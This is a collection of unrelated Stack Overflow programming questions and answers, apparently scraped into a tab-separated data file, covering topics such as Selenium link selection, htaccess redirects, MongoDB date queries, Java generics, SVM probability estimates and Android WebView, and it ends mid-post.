16493992	0	How to locate search links in google in Selenium for testing <p>I am trying to search Google for Selenium, then run down the list of links by clicking each one, printing the page title, then navigating back.</p> <pre><code>List&lt;WebElement&gt; linkElements = driver.findElements( **&lt;insert code here&gt;** ); for(WebElement elem: linkElements) { String text = elem.getText(); driver.findElement(By.linkText(text)).click(); System.out.println("Title of link\t:\t" + driver.getTitle()); driver.navigate().back(); } </code></pre> <p>To find the elements, I have tried By.tagName("a") which doesn't work because it gets ALL the links, not just the search ones. Using Firebug, I see that each search link has a class of r used on the header h3, and the a tag nested inside it.</p> <p>See the following:</p> <pre><code>&lt;h3 class="r"&gt; &lt;a href="/url sa=t&amp;amp;rct=j&amp;amp;q=selenium&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;ved=0CC8QFjAA&amp;amp;url=http%3A%2F%2Fseleniumhq.org%2F&amp;amp;ei=y4eNUYiIGuS7iwL-r4DADA&amp;amp;usg=AFQjCNHCelhj_BWssRX2H0HZCcPqhgBrRg&amp;amp;sig2=WBhmm65gCH7RQxIv9vgrug&amp;amp;bvm=bv.46340616,d.cGE" onmousedown="return rwt(this,'','','','1','AFQjCNHCelhj_BWssRX2H0HZCcPqhgBrRg','WBhmm65gCH7RQxIv9vgrug','0CC8QFjAA','','',event)"&gt;&lt;em&gt;Selenium&lt;/em&gt; - Web Browser Automation &lt;/a&gt;&lt;/h3&gt; </code></pre> <p>What code can I insert to make this work?</p>
15914069	0	 <p>Well, it seems like the main issue was with your css. When a mouseover event was triggered, the modalMask element was shown. The problem however was that you placed it on top of everything else with:</p> <pre><code>position: absolute; ... width: 100%; height: 100%; ... z-index: 1000; </code></pre> <p>This means that you had an invisible layer blocking access to the links, and that's why there was no reaction after the first event.</p> <p>While troubleshooting, i cleaned up the code for you at: <a href="http://jsfiddle.net/Z4ZGZ/18/" rel="nofollow">http://jsfiddle.net/Z4ZGZ/18/</a></p> <p>The 'close' button doesn't work in the fiddle, but it worked for me locally when i included the script file at the bottom of the body element.</p>
36908979	0	 <p>u can try this plugin contact form 7 AutoSaver , Select some forms to enable auto-save on them, meaning when a user fill the form, without even submitting it, then navigates to another page and comes back or refreshes the page, they will see the data they previously filled still available for them!</p> <pre><code>https://wordpress.org/plugins/cf7-autosaver/ </code></pre>
9728436	0	 <p>the problem with <code>mailto:</code> is that web scrapers can be used to "harvest" into a "spam mailing list". these are common in e-mail marketers (email advertising). also, search engines like Google will also pick them up, making your email a public item, easilty searchable, easily spammable.</p> <p>common methods employed today to prevent spamming thru email is a contact page &amp; following/friending in social sites (since social sites have the ability to block users, spammers won't waste time making accounts and keep friending/following you).</p>
30098562	0	mobilefirst logout redirect to new page <p>I am using jquery mobile and I am using $.mobile.changePage( "#newpage"); option when the user authentication is done to move to next page. in the next page I have a logout button and when user clicks on that it has to logout and on success it has to come back to the login screen again. </p> <pre><code>WL.Client.logout('CustomAuthenticatorRealm',{onSuccess: WL.Client.reloadApp}) </code></pre> <p>in this code onsuccess it is reloading the same url. i tried to change it like onSuccess: $.mobile.changePage( "#loginpage");</p> <p>but it is not working. any suggestions please</p>
36290219	0	Htaccess 301 change old URL <p>I would like change url in my htaccess and using redirect 301 for SEO.</p> <p>my old url:</p> <pre><code>RewriteRule ^my-oldurl-(([0-9]+)-[a-zA-z0-9_-]+).html$ index.php?page=my-detail&amp;id=$1&amp;cat=$2 [QSA,L] </code></pre> <p>my new url:</p> <pre><code>RewriteRule ^my-newurl-(([0-9]+)-[a-zA-z0-9_-]+).html$ index.php?page=my-detail&amp;id=$1&amp;cat=$2 [QSA,L] </code></pre> <p>My last test (error 500):</p> <pre><code>RewriteRule ^my-oldurl-(([0-9]+)-[a-zA-z0-9_-]+).html ^my-newurl-(([0-9]+)-[a-zA-z0-9_-]+).html [QSA,R=301] </code></pre> <p>Thank you for any advice.</p>
10809155	0	 <p>I think you need specify the SqlDBType when assigning the values to date in command.Parameters .and please cross check the parameter names which you have specified in insert statement with the parameters specified in parameters.Add </p> <pre><code>string sql = "INSERT INTO spending VALUES (@date, @amount_spent, @spent_on)"; using (var cn = new SqlConnection("..connection string..")) using (var cmd = new SqlCommand(sql, cn)) { cmd.Parameters.Add("@date", SqlDbType.DateTime).Value = date_dateTimePicker.Value; command.Parameters.AddWithValue("@amount_spent",Convert.ToDecimal(amount_spent_textBox.Text)); command.Parameters.AddWithValue("@spent_on", spent_on_textBox.Text); connect.Open(); </code></pre> <p>Some time its better to use invariant culture to store things like date/time in database .You can try that CultureInfo.Invariantculture</p> <pre><code>DateTime date = date_dateTimePicker.Value.Date; string sDate = date.ToString("dd-MM-yy", System.Globalization.CultureInfo.InvariantCulture); DateTime dateInsert = Convert.ToDateTime(sDate); </code></pre>
3914484	0	How to set the opacity of a datagridview row <p>I plan to create a datagridview that will only have about 10 rows max. It will get updated at regular intervals and I want for it to have nice effects where each row will have it's opacity increased to full, the first row being the first and the last row becoming fully opaque at the end.</p> <p>Do you know how to edit the opacity of a datagridview row?</p> <p>Is it possible because I don't think the rows have an opacity property?</p>
6998781	0	 <p>Consider this simplified problem</p> <pre><code>interface Item&lt;C extends Container&lt;Item&lt;C&gt;&gt;&gt; interface Container&lt;I extends Item&lt;Container&lt;I&gt;&gt;&gt; </code></pre> <p>It doesn't work, because subtypes of <code>Container&lt;Item&lt;C&gt;&gt;</code> are quite limited - <code>Container&lt;MyItem&gt;</code> is not a subtype of it, just like <code>List&lt;string&gt;</code> is not a subtype of <code>List&lt;Object&gt;</code></p> <p>We can relax it with wildcards:</p> <pre><code>interface Item&lt;C extends Container&lt;? extends Item&lt;C&gt;&gt;&gt; interface Container&lt;I extends Item&lt;? extends Container&lt;I&gt;&gt;&gt; </code></pre> <p>Now it works fine</p> <pre><code>class MyItem implements Item&lt;MyContainer&gt; class MyContainer implements Container&lt;MyItem&gt; </code></pre> <p>mostly. The following declaration is also allowed, but not what we intended</p> <pre><code>class HerItem implements Item&lt;MyContainer&gt; // nooo! </code></pre> <p>This is because we relaxed the constraints too much. Well, it's not a really serious problem. Sure, our type system isn't as tight as we want (no type system is), but programmers would instinctively follow the intended constraints, don't go out of their ways to write bizarre stuff just because they can.</p> <p>Ideally, we would want a <code>This</code> type, and our intended constraints can be expressed as</p> <pre><code>interface Item&lt;C extends Container&lt;This&gt;&gt;&gt; interface Container&lt;I extends Item&lt;This&gt;&gt; </code></pre> <p>Since we don't have <code>This</code>, one would attempt to approach it by a type parameter</p> <pre><code>interface Item&lt;C extends Container&lt;This, C&gt;&gt;, This extends Item&lt;C, This&gt; &gt; interface Container&lt;I extends Item&lt;This, I&gt;, This extends Container&lt;I, This&gt;&gt; </code></pre> <p>(or, more symmetrically </p> <pre><code> interface Item&lt;C extends Container&lt;I, C&gt;&gt;, I extends Item&lt;C, I&gt; &gt; interface Container&lt;I extends Item&lt;C, I&gt;, C extends Container&lt;I, C&gt;&gt; </code></pre> <p>)However, this is not really tight either. <code>This</code> isn't really the "this type". It's possible to</p> <pre><code>class HerItem implements Item&lt;MyContainer, MyItem&gt; // uh? </code></pre> <p>Once again, we must rely on programmer's discipline not to do stuff like that.</p>
4363446	0	 <p>Host it on IIS and then it should work.</p>
24922753	0	 <blockquote> <p>why use [yield]? Apart from it being slightly less code, what's it do for me?</p> </blockquote> <p>Sometimes it is useful, sometimes not. If the entire set of data must be examined and returned then there is not going to be any benefit in using yield because all it did was introduce overhead.</p> <p>When yield really shines is when only a partial set is returned. I think the best example is sorting. Assume you have a list of objects containing a date and a dollar amount from this year and you would like to see the first handful (5) records of the year. </p> <p>In order to accomplish this, the list must be sorted ascending by date, and then have the first 5 taken. If this was done without yield, the <em>entire</em> list would have to be sorted, right up to making sure the last two dates were in order.</p> <p>However, with yield, once the first 5 items have been established the sorting stops and the results are available. This can save a large amount of time.</p>
39227367	0	Zombie getting error Unhandled rejection Error: Timeout: did not get to load all resources on this page <p>I am new to zombie JS. I want to fill the login fields and post the login form. I tried to code this in zombiejs, but getting below error.</p> <p>Unhandled rejection Error: Timeout: did not get to load all resources on this page at timeout (C:\Users\sapna.maid\Desktop\nodejs\index\node_modules\zombie\lib \eventloop.js:601:38) at Timer.listOnTimeout (timers.js:92:15)</p> <p>My code snippet is as below:</p> <pre><code>var zombie = require("zombie"); zombie.waitDuration = '30s'; //Browser.waitDuration = '300s'; var assert = require("assert"); browser = new zombie({ maxWait: 10000, waitDuration: 30*1000, silent: true }); browser.visit("https://example.com", function () { // fill search query field with value "zombie" console.log("LOADEDDDD !!!!", browser.location.href); console.log(this.browser.text('title')); assert.equal(this.browser.text('title'), 'Welcome - Sign In'); browser.fill('#user', 'user@example.com'); browser.fill('#pass', 'pass@123'); browser.document.forms[0].submit(); console.log(browser.text('title')); // wait for new page to be loaded then fire callback function browser.wait(5000).then(function() { // just dump some debug data to see if we're on the right page console.log(this.browser.success); assert.ok(this.browser.success); console.log("Browser title:: --------- " + this.browser.text('title')); assert.equal(this.browser.text('title'), 'Dashboard'); }) }); </code></pre> <p>Please help me to resolve this issue. I am stuck here for long duration. Thanks in advance!</p>
34774819	0	0x3 error using pdbstr (Source indexing) <p>I am trying to use the PDBSTR.EXE tool to merge version information into a PDB file and from time to time I encounter the following error: [result: error 0x3 opening K:\dev\main\bin\mypdbfile.pdb] &lt;- can be a different PDB file.</p> <p>An example of the command line that I use is: </p> <pre><code>pdbstr.exe -w -s:srcsrv -p:K:\dev\main\bin\mypdbfile.pdb -i:C:\Users\username\AppData\Local\Temp\tmp517B.stream </code></pre> <p>Could you tell me what would cause error code 0x3? </p> <p>If the error code is similar to the standard System error code 3 ERROR_PATH_NOT_FOUND, then it seems to think that the path K:\dev\main\bin\mypdbfile.pdb does NOT exist when in fact it DOES. However please note that my K: drive is a SUBST'ed drive.</p> <p>(System error code reference <a href="https://msdn.microsoft.com/en-ca/library/windows/desktop/ms681382(v=vs.85).aspx" rel="nofollow">https://msdn.microsoft.com/en-ca/library/windows/desktop/ms681382(v=vs.85).aspx</a>)</p> <p>Do you know what the 0x3 error code could possibly mean?</p>
34284692	0	jquery validate date in range or empty, it is not allowed to submit empty date <p>I used the jquery validation to check a range of date or allow an empty date with under jquery mask. It is passed on editing, but the empty date field still prompt "Require" on form submit, what can I do?</p> <pre><code>$.validator.addMethod("daterange", function(value, element) { var ymd = value.split("/"); var d = new Date(ymd[0], ymd[1]-1,ymd[2]); var startDate = Date.parse('2015/01/01'), endDate = Date.parse('2100/12/31'), enteredDate = Date.parse(value); if(value=="____/__/__") return true; else if (isNaN(enteredDate)) return false; else if (d.getFullYear() == ymd[0] &amp;&amp; d.getMonth() == ymd[1]-1 &amp;&amp; d.getDate() == ymd[2]) return ((startDate &lt;= enteredDate) &amp;&amp; (enteredDate &lt;= endDate)); else return false; },"Invalid Date" ); d1_eff_date : { required: false, daterange:true}, </code></pre>
15287073	0	MongoDB finding documents that are valid on a specific date <p>I have some data stored in a mongodb collection similar to:</p> <pre><code>{"_id": 1, "category": "food", "name": "chips", "price": 1.50, "effectiveDate": ISODate("2013-03-01T07:00:00Z")} {"_id": 2, "category": "food", "name": "chips", "price": 1.75, "effectiveDate": ISODate("2013-03-05T07:00:00Z")} {"_id": 3, "category": "food", "name": "chips", "price": 1.90, "effectiveDate": ISODate("2013-03-10T07:00:00Z")} {"_id": 4, "category": "beverage", "name": "pop", "price": 2.00, "effectiveDate": ISODate("2013-03-01T07:00:00Z")} {"_id": 5, "category": "beverage", "name": "pop", "price": 2.25, "effectiveDate": ISODate("2013-03-05T07:00:00Z")} {"_id": 6, "category": "beverage", "name": "pop", "price": 1.80, "effectiveDate": ISODate("2013-03-10T07:00:00Z")} </code></pre> <p>In mongodb, how would I go about writing a query that would return the documents that were active on a specific date, grouped by the category.</p> <p>If I specified March 6, 2013 i'd expect to see the results:</p> <pre><code>{"_id": 2, "category": "food", "name": "chips", "price": 1.75, "effectiveDate": ISODate("2013-03-05T07:00:00Z")} {"_id": 5, "category": "beverage", "name": "pop", "price": 2.25, "effectiveDate": ISODate("2013-03-05T07:00:00Z")} </code></pre> <p>I am new to mongo and have been trying to do this using group, aggregate and mapreduce but have been just spinning in circles.</p> <p>Thanks in advance!</p>
12450958	0	 <p>If you can update the elements to have a common class, e.g., <code>class="state"</code>, then:</p> <pre><code>var SetState = function(state) { var s = document.getElementsByClassName("state"), i; for (i=0; i &lt; s.length; i++) s[i].style.display = 'none'; document.getElementById(state).style.display = 'block'; }; </code></pre> <p>That is, loop through all elements with the <code>state</code> class and hide them, then show just the one that was passed into the function with:</p> <pre><code>SetState('ohio'); </code></pre> <p>Alternatively, if you can't change the html, put all the state names in an array and loop through the array to hide them.</p>
38517765	1	Strip operation is removing a character from a url when it shouldnt be <p>I have a strange problem here. I have a list of Youtube urls in a txt file, these aren't normal YT urls though as I believe they were saved from a mobile device and thus they are all like this</p> <p><a href="https://youtu.be/A6RXqx_QtKQ" rel="nofollow">https://youtu.be/A6RXqx_QtKQ</a></p> <p>I want to download the audio from all these urls with youtube-dl for Python so all I need is the 11 digit id so to obtain that I have stripped out everything else from the urls like so:</p> <pre><code>playlist_url = [] f = open('my_songs.txt', 'r') for line in f: playlist_url.append(line.strip('https://youtu.be/')) </code></pre> <p>this works fine for nearly all the urls apart from any that start with 'o' in the 11 digit id e.g. this one</p> <p><a href="https://youtu.be/o5kO4y87Gew" rel="nofollow">https://youtu.be/o5kO4y87Gew</a></p> <p>the 'o' at the start of the digit would not be there and then youtube-dl would stop working saying it couldn't find the proper url or 11 digit id needed to continue. So I went back and printed out all the urls in 'playlist_url' and for the two urls with an 'o' at the start the 'o' is stripped out leaving them with just 10 digits. All other urls are stripped just fine though.</p> <p>why is this happening?</p>
2217431	0	 <p>Yes you can create multiple controls in the same project, you simply have to place the all the default templates in a single /themes/generic.xaml file. Each controls template is identified by the <code>TargetType</code>. So your generic.xaml file would look something like:-</p> <pre><code> &lt;ResourceDictionary ... blah namespace stuff ...&gt; &lt;Style TargetType="local:CustomControl1"&gt; &lt;Setter Property="Template"&gt; &lt;Setter.Value&gt; &lt;ControlTemplate TargetType="local:CustomControl1"&gt; &lt;!-- Template for Custom control 1 --&gt; &lt;/ControlTemplate&gt; &lt;/Setter.Value&gt; &lt;/Setter&gt; &lt;/Style&gt; &lt;Style TargetType="local:CustomControl2"&gt; &lt;Setter Property="Template"&gt; &lt;Setter.Value&gt; &lt;ControlTemplate TargetType="local:CustomControl2"&gt; &lt;!-- Template for Custom control 2 --&gt; &lt;/ControlTemplate&gt; &lt;/Setter.Value&gt; &lt;/Setter&gt; &lt;/Style&gt; &lt;!-- and so on --&gt; &lt;/ResourceDictionary&gt; </code></pre> <p>The Silverlight Toolkit chapies do have a neat tool which allows you to place each control template in its own file. The tool dynamically constructs the generic.xaml from the contents of all these files. I really wish they'd blog about it so we could find out how to use it ourselves. Hello any of you Msofties lurky listening in? </p>
8802330	0	RadioButtonList messed up in IE <p>I have a RadioButtonList:</p> <pre><code>&lt;p&gt; &lt;label for="rblIAm"&gt;I am&lt;/label&gt; &lt;asp:RadioButtonList ID="rblIAm" ValidationGroup="RegForm" runat="server"&gt; &lt;asp:ListItem Text="Gay" Value="Gay"&gt;&lt;/asp:ListItem&gt; &lt;asp:ListItem Text="Bisexual" Value="Bisexual"&gt;&lt;/asp:ListItem&gt; &lt;asp:ListItem Text="Straight" Value="Straight"&gt;&lt;/asp:ListItem&gt; &lt;/asp:RadioButtonList&gt; &lt;/p&gt; </code></pre> <p>With CSS like so:</p> <pre><code>label { float: left; width: 10em; font-size: 90.9%; padding-left: 1em; } input { background-color: #000; border: 1px solid #fff; color: #fff; font-size: 90.9%; height: 20px; clear: right; } input[type=radio] { height: 11px; border: none; border-color: transparent; } </code></pre> <p>In Chrome it looks fine:</p> <p><img src="https://i.stack.imgur.com/p74ih.jpg" alt="Chrome"></p> <p>In IE it looks messed up:</p> <p><img src="https://i.stack.imgur.com/qXJmH.jpg" alt="enter image description here"></p> <p>Can someone explain what's going wrong and the fix?</p> <p>Thanks</p>
6195637	0	 <p>Essentially this is a duplicate of <a href="http://stackoverflow.com/questions/2472422/django-file-upload-size-limit">Django File upload size limit</a> </p> <p>You have two options:</p> <ol> <li><p>Use validation in Django to check the uploaded file's size. The problem with this approach is that the file must be uploaded completely before it is validated. This means that if someone uploads a 1TB file, you'll probably run out of hard drive space before the user gets a form error.</p></li> <li><p>Configure the Web server to limit the allowed upload body size. e.g. if using Apache, set the <code>LimitRequestBody</code> setting. This will mean if a user tries to upload too much, they'll get an error page configurable in Apache</p></li> </ol> <p>As @pastylegs says in the comments, using a combination of both is probably the best approach. Say you want a maximum of 5MB, perhaps enforce a 20MB limit at the Web server level, and the 5MB limit at the Django level. The 20MB limit would provide some protection against malicious users, while the 5MB limit in Django provides good UX.</p>
9934852	0	 <p>Do you mean a short url something like this: <code>http://snd.sc/abc123</code>? If so, could you include the request which gives you that short_url? Otherwise if it's a 'normal' url like <code>http://soundcloud.com/username/track</code>, you can use the <a href="http://developers.soundcloud.com/docs/api/resolve" rel="nofollow">resolve endpoint</a> to get the track (or user, or set, etc) data.</p>
5854848	0	how to load a carousel from a xml file? <p>I'd like to load a carousel from a xml file and put it in the middle of a window and below the carousel I have a view that contains the description of each image.</p> <p>kind when I scroll the images I have every description of this picture that I'm also recovering from an xml file</p> <p>Can you tell me how I could do?</p> <p>Thank you</p>
27383491	0	 <p>I think your permission should be filtered by the role. Something like this :</p> <pre><code>var rolePermissions = new HashSet&lt;int&gt;(tDbContext.RoleDetail.Where(rd =&gt; rd.RoleId == role.RoleID).Select(rd =&gt; rd.PermissionId)); </code></pre> <p>Your passing the role to your function but don't even use it : PopulateAssignedPermissionData(Role role). If i understand properly the code, now the <code>allPermission</code> and the <code>rolePermissions</code> are the same.</p>
15781227	0	 <p>pageX and pageY are properties of the DOM-event, it appears the event you observe is a <a href="https://developers.google.com/maps/documentation/javascript/reference?hl=en#MouseEvent" rel="nofollow"><code>google.maps.MouseEvent</code></a>, which does not expose the requested properties.</p> <p>Use <code>addDomListener</code> instead to observe the DOM-event(of the node that contains the map):</p> <pre><code>google.maps.event.addDomListener(map.getDiv(), 'mouseover', function(e){ console.log(e.pageX+','+e.pageY); }); </code></pre>
27496671	0	cant display results from database <p>So i got a table on the database, that got some fields, and the image field got only the name of the images, the images are saved on a folder. I got this code to display the results, but its not showing anything, the page is blank..</p> <pre><code>&lt;?php include('ligacao.php'); $result = mysql_query("SELECT nome, genero, ano, banda, preco, arquivo FROM albuns"); while($row = mysql_fetch_array($result)) { { echo "&lt;div id='sitios'&gt;"; echo "&lt;div class='imageRow'&gt;"; echo "&lt;div class='single'&gt;"; echo "&lt;a href='imagens_albuns/" . $row['arquivo'] . "' rel='lightbox'&gt;&lt;img src='imagens_albuns/thumbnails/". $row['arquivo'] . "'/&gt;&lt;/a&gt;"; echo "&lt;/div&gt;"; echo "&lt;/div&gt;"; echo "&lt;div id='texto'&gt;"; echo "&lt;h2&gt;&lt;b&gt;" . $row['nome'] . "&lt;/b&gt;&lt;/h2&gt;"; echo "&lt;h3&gt;&lt;b&gt;Genero::&lt;/b&gt;&lt;/h3&gt;" . $row['genero'] . "&lt;/br&gt;"; echo "&lt;h3&gt;&lt;b&gt;Ano:&lt;/b&gt;&lt;/h3&gt;" . $row['ano'] . "&lt;/br&gt;"; echo "&lt;h3&gt;&lt;b&gt;Banda:&lt;/b&gt;&lt;/h3&gt;" . $row['banda'] . "&lt;/br&gt;"; echo "&lt;h3&gt;&lt;bPreço:&lt;/b&gt;&lt;/h3&gt;" . $row['preco'] . "€"; echo "&lt;/div&gt;"; echo "&lt;/div&gt;"; } } mysql_close($ligacap); ?&gt; </code></pre> <p>What can it be?</p>
38099841	0	 <p>Thanks Uzbekjon!! I resolved the issue by modifying the path in C:\RailsInstaller\Ruby2.2.0\bin rackup.bat file. The path was wrongly mentioned in the file.Once I updated the correct location of rackup path, the issue is resolved.</p>
9575975	0	 <p>Your opcode is incorrect, this works:</p> <pre><code>if(data) { *p++ = 0xb8; //mov $1, %eax *p++ = 0x01; *p++ = 0x00; *p++ = 0x00; *p++ = 0x00; *p++ = 0xC3; //ret } </code></pre> <p>0xb8 is moving a 32bit immediate into eax, so you have to specify all 4 bytes.</p>
14540486	0	 <p>Here's another approach which accounts for cents:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;Money Conversion&lt;/title&gt; &lt;script type="text/javascript"&gt; function numberToCurrency(amount) { var wholeDigits; var thousandsSeparator = "," var centSeparator = "." var currencyNum = ""; if(amount.indexOf(".") != -1) { var hasCents = true; } else { var hasCents = false; } if (hasCents == true) { var num = amount.split("."); var wholeDigits = num[0].split(""); var centAmount = num[1]; var centDigits = num[1].split(""); if (centDigits.length == 0) { centDigits += "00"; } if ((centDigits.length &gt; 0) &amp;&amp; (centDigits.length &lt; 2)) { centDigits += "0"; } } else { centDigits = ""; centSeparator = ""; wholeDigits = amount.split(""); } var countDigits = wholeDigits.length; var revDigits = wholeDigits.reverse(); for(var i=0; i&lt;countDigits; i++) { if ((i%3 == 0) &amp;&amp; (i !=0)) { currencyNum += thousandsSeparator+revDigits[i]; } else { currencyNum += wholeDigits[i]; } }; var revCurrency = currencyNum.split("").reverse().join(""); var finalCurrency = "$"+revCurrency+centSeparator+centAmount; return finalCurrency; } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;script type="text/javascript"&gt; document.write(numberToCurrency('12326563523.37')); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>It does the trick, though it doesn't round the cent amounts or strip off extras past 2 digits.</p>
13228387	0	How do I append an object to NSMutableArray? <p>I want to update an mutable array. i have one array "ListArray" with some keys like "desc", "title" on other side (with click of button.) i have one array name newListArray which is coming from web service and has different data but has same keys like "desc" "title". so i want to add that data in "ListArray" . not want to replace data just add data on same keys. so that i can show that in tableview.</p> <p>..........So my question is how to add data in "ListArray". or any other way to show that data in tableview but replacing old one just want to update the data</p> <pre><code> NSMutableArray *newListArray = (NSMutableArray*)[[WebServices sharedInstance] getVideoList:[PlacesDetails sharedInstance].userId tokenValue:[PlacesDetails sharedInstance].tokenID mediaIdMin:[PlacesDetails sharedInstance].minId mediaIdMax:[PlacesDetails sharedInstance].maxId viewPubPri:@"Public_click"]; NSDictionary *getNewListDic = [[NSDictionary alloc] initWithObjectsAndKeys:newListArray,@"videoList", nil]; [listVidArray addObject:getNewListDic]; NSArray *keys = [NSArray arrayWithObjects:@"desc",@"url",@"media_id",@"img",@"status",@"media_id_max",@"fb_url",@"title", nil] ; NSMutableDictionary *dict = [NSMutableDictionary dictionary]; for(int i = 0 ; i &lt; [listVidArray count] ; i++) { for( id theKey in keys) { // NSMutableArray *item = [NSMutableArray array]; NSLog(@"%@",theKey); NSLog(@"%@",keys); [dict setObject:[[[listVidArray objectAtIndex:i]valueForKey:@"videoList"] valueForKey:theKey] forKey:theKey]; // [dict setObject:[newListArray valueForKey:theKey] forKey:theKey]; } } </code></pre> <p><img src="https://i.stack.imgur.com/Vr5OT.png" alt="enter image description here"></p>
20485389	0	 <p>Redefine <code>String#inspect</code>.</p> <pre><code>class String def inspect; "'#{self}'" end end </code></pre>
26696851	0	Loading a view in codeigniter <p>I have a view where i used bootstrap tabpanels. On the first tab(active one), i have the home message. On the second one i have a form with 3 input fields and a submit button. In the model function where i validate the data for those fields, I output form validation errors or success message, and after I reload the view.</p> <pre><code> $data['table'] = $this -&gt; model_admin -&gt; get_users(); $data['title'] = 'Administrator'; $this -&gt; load -&gt; view('admin_view', $data); </code></pre> <p>What i want to do is to manage, after i click submit button to reload the view, but with the second tab being active. Like I could load instead of ..../admin_view.php, ..../admin_view.php#add.</p>
11334785	0	 <pre><code>you can try with int count = 0; and add ; not , between two instructions string needle=textBox1.Text.Trim(); cboxSelection = comboBox1.Text; </code></pre>
12398535	0	 <p>Could be some sort of <code>utf8_encode()</code> problem. <a href="http://us.php.net/manual/en/function.utf8-encode.php#103126" rel="nofollow">This comment</a> on the documentation page seems to indicate if you encode an Umlaut when it's already encoded, it could cause issues.</p> <p>Maybe test to see if the data is already utf-8 encoded with <a href="http://php.net/manual/en/function.mb-detect-encoding.php" rel="nofollow"><code>mb_detect_encoding()</code></a>. </p>
41029456	0	AngularJS 1 approach for "new foobar" UI overlay <p>I'm using AngularJS 1 with angular-material and ui-router.</p> <p>Does anyone know what the best practice is for providing a UI for some "new foobar" type thing? In other words, let’s say I have a ui.route putting me at <code>/app/#/foobars/</code> which shows a list of all the foobars. At the bottom right is a FAB with a big plus sign, which will bring up a new UI something to allow the user to specify how they want their foobar. What is the best practices for this "UI something" that comes up, using Angular?</p> <ul> <li>Should I use an angular-material dialog? (That’s my first inclination, but it seems old-fashioned.)</li> <li>Do I create a route to <code>/app/#/new-foobar/</code> and just bring up another UI? (This seems heavy-handed; I don’t want to change the URI, plus I probably want to get back to where I came from after creating the foobar.)</li> <li>I think that ui-router allows nested states; is this something I would use? But I don't want the new view/component to be embedded in the current view --- I would expect a card or something to somehow "overlay" whatever view is showing.</li> </ul>
37903302	0	replace after string character by character in (notepad ++) using a not matched group? <p>i want replace after "string"</p> <p>stringreplacefield character by character </p> <p>for generate </p> <pre><code> stringstringeplacefield </code></pre> <p>after the first replace </p> <pre><code> stringstringstringplacefield </code></pre> <p>after the second replace</p> <pre><code> stringstringstringstringlacefield </code></pre> <p>after third replace</p> <pre><code> stringstringstringstringstringacefield </code></pre> <p>using a not matched group<br> in notepad++</p> <p>I have tried this several days</p> <p>please help me </p>
28101264	0	Neo4j performance difference in using shell and API <p>I understand that Neo4j supports different options to run the Cypher queries. The web browser, neo4j shell and the REST API. Is there a difference in performance when using the shell and the API?</p> <p>I'm working on a dataset that has around 10 million objects(nodes+edges).</p> <p>Thanks! </p>
13592065	0	Convert type 'System.Dynamic.DynamicObject to System.Collections.IEnumerable <p>I'm successfully using the JavaScriptSerializer in MVC3 to de-serialize a json string in to a dynamic object. What I can't figure out is how to cast it to something I can enumerate over. The foreach line of code below is my latest attemt but it errors with: "Cannot implicitly convert type 'System.Dynamic.DynamicObject' to 'System.Collections.IEnumerable'. How can I convert or cast so that I can iterate through the dictionary?</p> <pre><code> public dynamic GetEntities(string entityName, string entityField) { var serializer = new JavaScriptSerializer(); serializer.RegisterConverters(new[] { new MyProject.Extensions.JsonExtension.DynamicJsonConverter() }); dynamic data = serializer.Deserialize(json, typeof(object)); return data; } foreach (var author in GetEntities("author", "lastname")) </code></pre>
24413364	0	How to receive emails and store them automatically in Alfresco <p>We are working with Alfresco 4.2.c community version and the need is to configure Alfresco to store automatically received emails (from Outlook) in a specific workspace.</p> <p>I really need your help.</p>
26478442	0	 <p>I took a look at the apis in sklearn.svm.* family. All below models, e.g.,</p> <ul> <li>sklearn.svm.SVC</li> <li>sklearn.svm.NuSVC</li> <li>sklearn.svm.SVR</li> <li>sklearn.svm.NuSVR</li> </ul> <p>have a common <a href="http://scikit-learn.org/0.11/modules/generated/sklearn.svm.NuSVR.html" rel="nofollow noreferrer">interface</a> that supplies a </p> <pre><code>probability: boolean, optional (default=False) </code></pre> <p>parameter to the model. If this parameter is set to True, libsvm will train a probability transformation model on top of the SVM's outputs based on idea of <a href="http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.41.1639" rel="nofollow noreferrer">Platt Scaling</a>. The form of transformation is similar to a logistic function as you pointed out, however two specific constants <code>A</code> and <code>B</code> are learned in a post-processing step. Also see this <a href="http://stackoverflow.com/questions/15111408/how-does-sklearn-svm-svcs-function-predict-proba-work-internally">stackoverflow</a> post for more details.</p> <p><img src="https://i.stack.imgur.com/LcIQF.png" alt="enter image description here"></p> <p>I actually don't know why this post-processing is not available for LinearSVC. Otherwise, you would just call <code>predict_proba(X)</code> to get the probability estimate. </p> <p>Of course, if you just apply a naive logistic transform, it will not perform as well as a calibrated approach like <a href="http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.41.1639" rel="nofollow noreferrer">Platt Scaling</a>. If you can understand the underline algorithm of platt scaling, probably you can write your own or contribute to the scikit-learn svm family. :) Also feel free to use the above four SVM variations that support <code>predict_proba</code>.</p>
23450131	0	displaying blogs in webview <p>I want to display my blog as a part of an android application..i have the code ready..it works well when displaying websites like google etc but not with my blog..can someone help me solve this problem</p> <p>mainActivity.java:</p> <pre><code>package com.mkyong.android; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; public class MainActivity extends Activity { private Button button; public void onCreate(Bundle savedInstanceState) { final Context context = this; super.onCreate(savedInstanceState); setContentView(R.layout.main); button = (Button) findViewById(R.id.buttonUrl); button.setOnClickListener(new OnClickListener() { @Override public void onClick(View arg0) { Intent intent = new Intent(context, WebViewActivity.class); startActivity(intent); } }); } } </code></pre> <p>webViewActivity.java:</p> <pre><code>package com.mkyong.android; import android.app.Activity; import android.os.Bundle; import android.webkit.WebView; import android.webkit.WebViewClient; public class WebViewActivity extends Activity { private WebView webView; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.webview); webView = (WebView) findViewById(R.id.webView1); webView.getSettings().setJavaScriptEnabled(true); webView.setWebViewClient(new WebViewClient()); webView.loadUrl("pavan7vasan.blogspot.com"); } } </code></pre> <p>main.xml:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" &gt; &lt;Button android:id="@+id/buttonUrl" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Go to http://www.google.com" /&gt; &lt;/LinearLayout&gt; </code></pre> <p>webview.xml:</p> 